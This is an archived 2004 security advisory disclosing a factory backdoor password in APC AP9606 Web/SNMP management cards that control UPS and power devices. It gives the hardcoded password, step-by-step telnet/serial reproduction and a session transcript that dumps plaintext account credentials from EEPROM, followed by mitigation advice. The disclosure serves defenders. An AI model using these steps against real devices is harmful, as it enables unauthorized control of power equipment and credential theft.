[NEWS] APC 9606 SmartSlot Web/SNMP Management Card Backdoor

From: SecuriTeam (support_at_securiteam.com)
Date: 02/18/04

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    Date: 18 Feb 2004 15:51:53 +0200

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      APC 9606 SmartSlot Web/SNMP Management Card Backdoor


    APC (American Power Conversion) SmartSwitch and UPS (uninterruptible power
    supply) products have a Web and SNMP management card installed that
    permits local serial console, TELNET, web and SNMP management, monitoring
    and mains power control of attached devices.

    APC SmartSlot Web/SNMP management cards have a "backdoor" password that
    can be abused to extract plain text username/password details for all
    accounts and hence gain unauthorized full control of the device.


    Vulnerable Systems:
     * SmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6
     * MasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0
     * Silcon DP3320E with Web/SNMP Management Card AP9606 - AOS v3.0.1
     * Silcon DP340E with Web/SNMP Management Card AP9606 - AOS v3.0.1

    The "backdoor" password is designed for use by the factory for initial
    configuration of the card, e.g. MAC Address, Serial Number etc. However,
    it is possible to dump the contents of EEPROM which amongst other things
    stores the account usernames and passwords.

    The "backdoor" password is accepted via either the local serial port or
    TELNET. Use of the password on the web interface does not appear to be

    To recreate (typical example):
    Connect a console to the serial port or TELNET to the card. At the
    username prompt use any username. The password is all alphabetic
    characters and is case sensitive: TENmanUFactOryPOWER

    At the selection prompt, type 13 and press return. Type the byte address
    of the EEPROM location to view, e.g. 1d0 and press return. Look carefully
    for the username and password pairs. Different firmware revisions may have
    the account details at different EEPROM locations. The accounts in the
    example below are the default accounts after their passwords have been
    Username: apc???????????Password: BBCCDDEEF
    Username: device????????Password: AAAABBBBB

    Press return to get back to the Factory Menu and press ctrl-A to logout.
    You can now TELNET to the card again and use the account details you've
    just recovered to log into and control the device.

    You should use the other selections with extreme care. You may cause
    irreparable damage and will most certainly invalidate any warranty. The
    EEPROM also contains other user-configurable options in either plain text
    or binary encoded form. They are not detailed in this advisory.

    [root@always root]# telnet
    Connected to
    Escape character is '^]'.

    User Name : phade
    Password ?: TENmanUFactOryPOWER

    Factory Menu
    <CTRL-A> to exit

    500 C0 B7 A2 C8 2D

    Selection> 13

    Enter byte address in Hex(XXXX): 1d0

    01D0 ? FF 50 46 61 70 63 00 FF ?.PFapc..
    01D8 ? FF FF FF FF FF FF 42 42 ?......BB
    01E0 ? 43 43 44 44 45 45 46 00 ?CCDDEEF.
    01E8 ? FF 64 65 76 69 63 65 00 ?.device.
    01F0 ? FF FF FF FF 41 41 41 41 ?....AAAA
    01F8 ? 42 42 42 42 42 00 FF 61 ?BBBBB..a
    0200 ? 64 6D 69 6E 20 75 73 65 ?dmin use
    0208 ? 72 20 70 68 72 61 73 65 ?r phrase
    0210 ? 00 FF FF FF FF FF FF FF ?........
    0218 ? FF FF FF FF FF FF FF FF ?........
    0220 ? 64 65 76 69 63 65 20 75 ?device u
    0228 ? 73 65 72 20 70 68 72 61 ?ser phra
    0230 ? 73 65 00 FF FF FF FF FF ?se......
    0238 ? FF FF FF FF FF FF FF FF ?........
    0240 ? FF 00 00 FF FF FF FF 21 ?.......!
    0248 ? 56 00 00 00 00 00 00 55 ?V......U


    Ensure that access to the local serial port is physically restricted and
    disable the TELNET interface as described in the device documentation. A
    patched version of the firmware which requires the management password to
    be entered before accessing the factory settings may be available from

    Vendor status:
    APC were first notified six months ago on 12th August 2003 and were
    initially helpful in patching the problem. However, after testing a couple
    of beta fixes I've heard nothing for over 3 months.


    The information has been provided by <mailto:bugtraq@always.sniffing.net>
    Dave Tarbatt.


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